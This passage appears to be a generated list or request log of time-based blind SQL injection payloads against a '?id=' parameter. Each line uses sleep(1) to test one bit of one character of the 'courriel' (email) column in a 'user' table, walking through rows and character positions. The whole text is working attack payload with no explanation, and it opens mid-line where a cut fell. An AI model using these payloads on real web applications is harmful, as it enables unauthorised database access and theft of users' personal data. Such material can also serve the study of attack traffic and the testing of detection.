sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) 